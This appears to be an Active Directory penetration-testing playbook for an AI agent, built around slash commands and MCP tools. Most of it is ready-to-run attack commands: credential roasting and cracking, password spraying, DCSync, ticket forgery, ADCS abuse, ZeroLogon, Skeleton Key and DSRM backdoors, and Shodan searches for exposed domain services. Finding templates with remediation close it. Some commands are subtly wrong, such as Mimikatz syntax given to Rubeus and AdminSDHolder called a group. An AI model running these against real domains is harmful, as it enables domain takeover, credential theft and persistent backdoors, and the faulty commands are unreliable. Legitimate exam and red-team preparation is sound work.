Pentest Active Directory

Active Directory Penetration Testing

Comprehensive Active Directory attack methodologies for OSCP+/OSEP preparation. Covers reconnaissance, credential attacks, lateral movement, persistence, and ADCS exploitation.

Quick Start

# Full AD assessment workflow
/ad-recon TARGET_DOMAIN
/ad-attacks --kerberoast
/ad-attacks --asreproast
/ad-attacks --dcsync
/adcs-enum

Phase 1: AD Reconnaissance

1.1 Initial Domain Information

# Get current domain context
whoami /user
echo %USERDOMAIN%
echo %LOGONSERVER%

# Domain info (PowerShell)
Get-ADDomain
Get-ADDomainController
Get-ADForest

# Find all domain controllers
nltest /dclist:DOMAIN
nslookup -type=SRV _ldap._tcp.dc._msdcs.DOMAIN

# LDAP enumeration (ldapsearch)
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=com" -s sub "(objectClass=*)"
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=com" -s sub "(sAMAccountName=*)"

# LDAP enumeration (windapsearch)
python3 windapsearch.py -d DOMAIN -u "" --dc-ip DC_IP -m FULL

1.2 BloodHound Enumeration

# SharpHound (Windows)
SharpHound.exe -c All -d DOMAIN -o output.zip

# BloodHound.py (Linux)
bloodhound-python -d DOMAIN -u USER -p PASS -c All -ns DC_IP

# Import to BloodHound
neo4j console
bloodhound

# Cypher queries for attack paths
# Find shortest path to Domain Admin
MATCH p=shortestPath((n)-[*1..]->(m:Group)) WHERE m.name ENDS WITH "DOMAIN ADMINS" RETURN p

# Find users with unconstrained delegation
MATCH (n:User {unconstraineddelegation:true}) RETURN n

# Find Kerberoastable users
MATCH (n:User {hasspn:true}) RETURN n

# Find ASREPRoastable users
MATCH (n:User {dontreqpreauth:true}) RETURN n

1.3 CrackMapExec Enumeration

# SMB enumeration
crackmapexec smb TARGET_IP -u USER -p PASS --shares
crackmapexec smb TARGET_IP -u USER -p PASS --sessions
crackmapexec smb TARGET_IP -u USER -p PASS --disks
crackmapexec smb TARGET_IP -u USER -p PASS --users
crackmapexec smb TARGET_IP -u USER -p PASS --groups
crackmapexec smb TARGET_IP -u USER -p PASS --local-groups

# LDAP enumeration
crackmapexec ldap TARGET_IP -u USER -p PASS --baseDN "DC=domain,DC=com" --search-filter "(objectClass=*)"

# Kerberos enumeration
crackmapexec kerberos TARGET_IP -u USER -p PASS

# WinRM enumeration
crackmapexec winrm TARGET_IP -u USER -p PASS

# MSSQL enumeration
crackmapexec mssql TARGET_IP -u USER -p PASS --query "SELECT @@version"

# All modules
crackmapexec smb TARGET_IP -u USER -p PASS -M all

1.4 PowerView Enumeration

# Import PowerView
Import-Module ./PowerView.ps1

# Domain info
Get-NetDomain
Get-NetForest
Get-NetForestDomain

# Users
Get-NetUser -UserName "admin*"
Get-NetUser -Properties samaccountname,description,mail
Get-NetUser | Where-Object {$_.admincount -eq 1}
Get-NetUser | Where-Object {$_.hasspn -eq $true}
Get-NetUser | Where-Object {$_.dontreqpreauth -eq $true}

# Computers
Get-NetComputer
Get-NetComputer -OperatingSystem "*2019*"
Get-NetComputer -Unconstrained

# Groups
Get-NetGroup -GroupName "*admin*"
Get-NetGroupMember -GroupName "Domain Admins"
Get-NetGroupMember -GroupName "Enterprise Admins"

# GPO
Get-NetGPO
Get-NetGPOGroup

# Shares
Find-DomainShare
Find-InterestingDomainShareFile

# Sessions
Find-DomainUserLocation
Find-DomainProcess -UserName "admin*"

Phase 2: Credential Attacks

2.1 Kerberoasting

# Request TGS tickets (PowerView)
Get-DomainUser -SPN | Request-SPTicket

# Request TGS tickets (Rubeus)
Rubeus.exe kerberoast /output:hashes.txt

# Request TGS tickets (Impacket)
impacket-GetUserSPNs DOMAIN/USER:PASS -dc-ip DC_IP -request -outputfile hashes.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force

# Crack with john
john --format=krb5tgs hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

2.2 ASREPRoasting

# Find ASREPRoastable users (PowerView)
Get-DomainUser -PreauthNotRequired

# Request ASREP hashes (Rubeus)
Rubeus.exe asreproast /format:hashcat /output:hashes.txt

# Request ASREP hashes (Impacket)
impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip DC_IP -request -outputfile hashes.txt
impacket-GetNPUsers DOMAIN/USER:PASS -request -outputfile hashes.txt

# Crack with hashcat
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

# Crack with john
john --format=krb5asrep hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

2.3 Password Spraying

# CrackMapExec
crackmapexec smb TARGET_IP -u users.txt -p 'Password123!'
crackmapexec smb TARGET_IP -u users.txt -p passwords.txt

# Kerbrute
kerbrute userenum -d DOMAIN --dc DC_IP users.txt
kerbrute password_spray -d DOMAIN --dc DC_IP users.txt 'Password123!'

# Impacket
impacket-smbexec DOMAIN/USER:PASS@TARGET
impacket-psexec DOMAIN/USER:PASS@TARGET

# Nxc (CrackMapExec successor)
nxc smb TARGET_IP -u users.txt -p 'Password123!' --continue-on-success

2.4 DCSync Attack

# Impacket secretsdump
impacket-secretsdump DOMAIN/USER:PASS@DC_IP
impacket-secretsdump -dc-ip DC_IP DOMAIN/USER:PASS

# Mimikatz (Windows)
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:DOMAIN /user:krbtgt
mimikatz # lsadump::dcsync /domain:DOMAIN /user:admin

# Rubeus
Rubeus.exe misc::dcsync /user:krbtgt /domain:DOMAIN

# CrackMapExec
crackmapexec smb DC_IP -u USER -p PASS -M secretsdump

Phase 3: Lateral Movement

3.1 Pass-the-Hash

# Impacket
impacket-psexec -hashes LM:NTLM DOMAIN/USER@TARGET
impacket-smbexec -hashes LM:NTLM DOMAIN/USER@TARGET
impacket-wmiexec -hashes LM:NTLM DOMAIN/USER@TARGET

# CrackMapExec
crackmapexec smb TARGET -u USER -H LM:NTLM

# Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:HASH /run:powershell

# Rubeus
Rubeus.exe ptt /ticket:base64ticket
Rubeus.exe *asktgs /ticket:base64ticket /service:cifs/TARGET

3.2 Pass-the-Ticket

# Export ticket from memory (Mimikatz)
mimikatz # sekurlsa::tickets /export

# Import ticket (Rubeus)
Rubeus.exe ptt /ticket:base64ticket

# Import ticket (Impacket)
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass DOMAIN/USER@TARGET

# Request TGS from TGT (Rubeus)
Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/TARGET

3.3 Over-Pass-the-Hash

# Rubeus
Rubeus.exe asktgs /user:USER /domain:DOMAIN /rc4:NTLMHASH /service:ldap/DC.DOMAIN

# Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:HASH /run:powershell
# Then request TGS

3.4 Golden Ticket

# Requirements: krbtgt hash, domain SID, domain name
# Mimikatz
mimikatz # kerberos::golden /user:admin /domain:DOMAIN /sid:DOMAIN_SID /krbtgt:HASH /id:500 /group:512 /ptt

# Rubeus
Rubeus.exe golden /dc:DC_IP /domain:DOMAIN /user:admin /sid:DOMAIN_SID /krbtgt:HASH /id:500 /service:krbtgt /ptt

# Impacket ticketer
impacket-ticketer -nthash HASH -domain-sid DOMAIN_SID -domain DOMAIN admin
export KRB5CCNAME=admin.ccache
impacket-psexec -k -no-pass DOMAIN/admin@TARGET

3.5 Silver Ticket

# Requirements: Service account hash, domain SID, target SPN
# Mimikatz
mimikatz # kerberos::golden /domain:DOMAIN /sid:DOMAIN_SID /rc4:HASH /user:admin /service:cifs /target:TARGET /ptt

# Rubeus
Rubeus.exe silver /service:cifs/TARGET /domain:DOMAIN /sid:DOMAIN_SID /rc4:HASH /user:admin /ptt

3.6 Diamond Ticket

# Rubeus (enhanced Golden Ticket)
Rubeus.exe diamond /domain:DOMAIN /dc:DC_IP /user:admin /krbtgt:HASH /sid:DOMAIN_SID /ptt

Phase 4: ADCS Exploitation

4.1 ADCS Enumeration

# Certipy enumeration
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -vulnerable
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -stdout

# Certify (Windows)
Certify.exe find /vulnerable

# PKINITtools
python3 getTGT.py -k -no-pass -dc-ip DC_IP DOMAIN/USER
python3 getST.py -spn ldap/DC.DOMAIN -impersonate admin -k -no-pass -dc-ip DC_IP DOMAIN/USER

# Enumerate templates
certutil -template
certutil -config "" -ping

4.2 ESC1 - Misconfigured Certificate Template

# Find vulnerable templates
certipy find -u USER@DOMAIN -p PASS -vulnerable

# Request certificate
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn admin@DOMAIN

# Authenticate with certificate
certipy auth -pfx admin.pfx -dc-ip DC_IP

# Get TGS for any service
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn admin@DOMAIN -dns DC_IP

4.3 ESC2 - Misconfigured Certificate Template (Any Purpose)

# Request certificate with Any Purpose EKU
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn admin@DOMAIN

# Authenticate
certipy auth -pfx admin.pfx

4.4 ESC3 - Misconfigured Certificate Template (Enrollment Agent)

# Request enrollment agent certificate
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'EnrollmentAgent'

# Request certificate on behalf of another user
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -on-behalf-of 'DOMAIN\admin' -pfx agent.pfx

4.5 ESC4 - Vulnerable Certificate Template ACLs

# Add user to template ACL
certipy template -u USER@DOMAIN -p PASS -template 'VULN-TEMPLATE' -add 'USER2'

# Request certificate
certipy req -u USER2@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE'

4.6 ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

# Request certificate with arbitrary SAN
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'User' -upn admin@DOMAIN

# Authenticate
certipy auth -pfx admin.pfx

4.7 ESC7 - Vulnerable PKI ACLs

# Add user to CA ACL
certipy ca -u USER@DOMAIN -p PASS -ca 'CA-NAME' -add 'USER2'

# Request certificate
certipy req -u USER2@DOMAIN -p PASS -ca 'CA-NAME' -template 'Machine'

4.8 ESC8 - NTLM Relay to ADCS

# Relay to ADCS (Impacket)
impacket-ntlmrelayx -t http://DC_IP/certsrv -smb2support --adcs

# Trigger authentication (PetitPotam)
python3 PetitPotam.py -d DOMAIN -u USER -p PASS TARGET_IP DC_IP

# Or use EFSRPC
python3 EFSRPC.py -d DOMAIN -u USER -p PASS TARGET_IP DC_IP

# Request certificate
certipy req -u TARGET$@DOMAIN -k -no-pass -ca 'CA-NAME' -template 'Machine'

# Authenticate
certipy auth -pfx TARGET.pfx

Phase 5: Advanced Attacks

5.1 ZeroLogon (CVE-2020-1472)

# Impacket
impacket-netlogon DOMAIN/DC$@DC_IP -target-ip DC_IP

# Nexploit
nxc smb DC_IP -u '' -p '' -M zerologon

# Exploit and dump
impacket-secretsdump -just-dc DOMAIN/DC$@DC_IP

5.2 PetitPotam

# Trigger EFSRPC
python3 PetitPotam.py -d DOMAIN -u USER -p PASS TARGET_IP DC_IP

# Relay with ntlmrelayx
impacket-ntlmrelayx -t ldap://DC_IP --escalate-user USER

5.3 PrinterBug

# Trigger SpoolSample
python3 PrinterBug.py DOMAIN/USER:PASS@TARGET_IP DC_IP

# Or use dementor
python3 dementor.py -u USER -p PASS TARGET_IP DC_IP

5.4 Resource-Based Constrained Delegation (RBCD)

# Find computers with msDS-AllowedToActOnBehalfOfOtherIdentity
Get-DomainComputer -TrustedToAuth

# Add computer to RBCD
PowerView: Set-DomainObject -Identity TARGET -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'='SID_OF_ATTACKER_COMPUTER'}

# Request S4U2Self ticket
Rubeus.exe s4u /user:ATTACKER$ /rc4:HASH /domain:DOMAIN /msdsspn:cifs/TARGET /altservice:cifs /ptt

# Request S4U2Proxy ticket
Rubeus.exe s4u /user:ATTACKER$ /domain:DOMAIN /impersonate:admin /msdsspn:cifs/TARGET /ptt

5.5 Shadow Credentials

# Add key credential
pywhisker -d DOMAIN -u USER -p PASS --target TARGET --action 'add'

# Or use Whisker (Windows)
Whisker.exe add /target:TARGET /domain:DOMAIN

# Authenticate with PKINIT
certipy auth -pfx TARGET.pfx -dc-ip DC_IP

5.6 Constrained Delegation

# Find users with constrained delegation
Get-DomainUser -TrustedToAuth

# Request TGS
Rubeus.exe s4u /user:DELEGUSER /rc4:HASH /domain:DOMAIN /msdsspn:cifs/TARGET /ptt

5.7 Unconstrained Delegation

# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained

# Wait for TGT to appear in memory
mimikatz # sekurlsa::tickets

# Or use Rubeus
Rubeus.exe monitor /interval:5 /filteruser:admin

5.8 GPO Abuse

# Find GPOs
Get-NetGPO
Get-NetGPOGroup

# Edit GPO to add user
# 1. Find GPO path in SYSVOL
# 2. Edit GPO.xml or Groups.xml
# 3. Add user to local administrators

# Force GPO update
gpupdate /force

# Or use SharpGPOAbuse
SharpGPOAbuse.exe --AddLocalAdmin --GPOName "Vulnerable GPO" --UserAccount "DOMAIN\attacker"

5.9 ACL Attacks

# GenericAll on User
# Can reset password without knowing current password
net user TARGET NewPass123! /domain

# GenericAll on Computer
# Can add computer to domain and perform RBCD

# GenericWrite on User
# Can update scriptPath for code execution
# Or update servicePrincipalName for Kerberoasting

# WriteDACL
# Can grant yourself additional permissions

# WriteOwner
# Can take ownership and grant yourself permissions

# ForceChangePassword
# Can change user password
net user TARGET NewPass123! /domain

# Self (Self-Membership)
# Can add yourself to group

5.10 Trust Attacks

# Enumerate trusts
Get-NetForestTrust
Get-NetDomainTrust

# SID History injection
# 1. Compromise trusted domain
# 2. Create Golden Ticket with SID history
mimikatz # kerberos::golden /domain:TRUSTED /sid:TRUSTED_SID /krbtgt:HASH /user:admin /sid:DOMAIN_SID /ptt

# Inter-realm TGT attack
# 1. Compromise child domain
# 2. Request TGT to parent domain
# 3. Escalate to enterprise admin

Phase 6: Persistence

6.1 Skeleton Key

# Mimikatz (requires admin on DC)
mimikatz # privilege::debug
mimikatz # misc::skeleton

# Authenticate with any password
crackmapexec smb TARGET -u USER -p 'mimikatz'

6.2 DSRM Backdoor

# Extract DSRM password
mimikatz # token::elevate
mimikatz # lsadump::sam

# Set DSRM password
mimikatz # dsrm::sync /user:admin /password:BackdoorPass123!

# Authenticate via DSRM
crackmapexec smb DC_IP -u admin -h HASH --local-auth

6.3 Custom SSP

# Mimikatz
mimikatz # misc::memssp

# Credentials logged to C:\Windows\System32\mimilsa.log

6.4 AdminSDHolder

# Add user to AdminSDHolder group
# All members of protected groups will have this user added

# PowerView
Add-DomainGroupMember -Identity 'CN=AdminSDHolder,CN=System,DC=domain,DC=com' -Members 'attacker'

# Or use ACL editor
# 1. Open ADUC with AD Advanced Features
# 2. Navigate to CN=System > AdminSDHolder
# 3. Add user with Full Control

6.5 DCShadow

# Mimikatz (requires DC compromise)
mimikatz # privilege::debug
mimikatz # lsadump::dcshadow /object:USER /attribute:servicePrincipalName /value:HOST/target

# Push changes
mimikatz # lsadump::dcshadow /push

Integration with AIRecon

# Start AD-focused campaign
pentestswarm-remote__start_campaign \
  target="DOMAIN" \
  scope="DOMAIN,DC_IP,10.0.0.0/24" \
  objective="find all AD vulnerabilities and attack paths" \
  mode="bugbounty"

# Get campaign findings
pentestswarm-remote__get_campaign_findings campaign_id="xxx"

# Get recon summary
pentestswarm-remote__get_campaign_recon_summary campaign_id="xxx"

MCP Tools Integration

# Shodan search for exposed AD services
mcp__shodan__shodan_search query="port:389 LDAP" max_results=100
mcp__shodan__shodan_search query="port:445 SMB" max_results=100
mcp__shodan__shodan_search query="port:88 Kerberos" max_results=100

# VirusTotal domain analysis
mcp__virustotal__get_domain_report domain="domain.com"

# OSINT reconnaissance
mcp__osint-remote__get_country_risk_signals query="country_name"

Finding Templates

Active Directory Certificate Services (AD CS) Misconfiguration

Severity: High/Critical CVSS: 8.8

Description: AD CS certificate templates are misconfigured allowing domain users to request certificates with arbitrary Subject Alternative Names (SAN), enabling authentication as any domain user including administrators.

Evidence:

• Template has msPKI-Certificate-Name-Flag set to ENROLLEE_SUPPLIES_SUBJECT
• Template has msPKI-Enrollment-Flag set to 0 or doesn't require manager approval
• Low-privileged users have enroll permissions

Impact:

• Full domain compromise via Golden Ticket
• Persistence via certificate-based authentication
• Lateral movement to any system

Remediation:

1. Remove ENROLLEE_SUPPLIES_SUBJECT flag from templates
2. Require manager approval for certificate requests
3. Restrict enroll permissions to specific security groups
4. Enable certificate revocation checking

Kerberoasting Vulnerability

Severity: High CVSS: 7.5

Description: Service accounts with SPNs configured use weak passwords that can be cracked offline after requesting TGS tickets.

Evidence:

• Users with servicePrincipalName attribute set
• TGS tickets successfully requested and cracked
• Password complexity below 15 characters

Impact:

• Service account compromise
• Lateral movement to services using compromised accounts
• Potential domain admin access

Remediation:

1. Use Group Managed Service Accounts (gMSA)
2. Implement 25+ character random passwords
3. Monitor for unusual TGS request patterns
4. Enable Kerberos armoring

ASREPRoasting Vulnerability

Severity: High CVSS: 7.5

Description: Domain users have "Do not require Kerberos preauthentication" enabled, allowing offline password cracking.

Evidence:

• Users with DONT_REQ_PREAUTH flag set
• ASREP hashes successfully requested
• Hashes cracked with dictionary attacks

Impact:

• User credential compromise
• Lateral movement opportunities
• Potential privilege escalation

Remediation:

1. Disable "Do not require Kerberos preauthentication" for all users
2. Implement strong password policies
3. Monitor for unusual AS request patterns

Unconstrained Delegation

Severity: High CVSS: 8.2

Description: Computers configured with unconstrained delegation store TGTs in memory, allowing attackers with access to these systems to impersonate any user.

Evidence:

• Computers with TRUSTED_FOR_DELEGATION flag
• TGTs found in LSASS memory
• High-privilege users authenticating to vulnerable systems

Impact:

• Full domain compromise via TGT theft
• Lateral movement to any system
• Persistence via Golden Ticket

Remediation:

1. Remove unconstrained delegation configuration
2. Implement constrained delegation with specific SPNs
3. Protect DCs and high-value systems
4. Monitor for TGT enumeration

Resource-Based Constrained Delegation (RBCD)

Severity: High CVSS: 8.0

Description: Attacker-controlled computer objects can be added to msDS-AllowedToActOnBehalfOfOtherIdentity on target systems, enabling S4U2Self/S4U2Proxy attacks.

Evidence:

• Non-admin users can create computer accounts (default: 10)
• Computer objects added to RBCD ACL
• S4U2Self tickets requested successfully

Impact:

• Lateral movement to any system with RBCD configured
• Code execution as SYSTEM
• Credential harvesting

Remediation:

1. Restrict computer account creation to admins
2. Audit msDS-AllowedToActOnBehalfOfOtherIdentity attribute
3. Implement LAPS for password management
4. Monitor for new computer account creation

PTES Mapping

Additional Resources

• BloodHound Documentation
• Certipy GitHub
• Rubeus GitHub
• Impacket Examples
• AD CS Exploitation
• RBCD Attack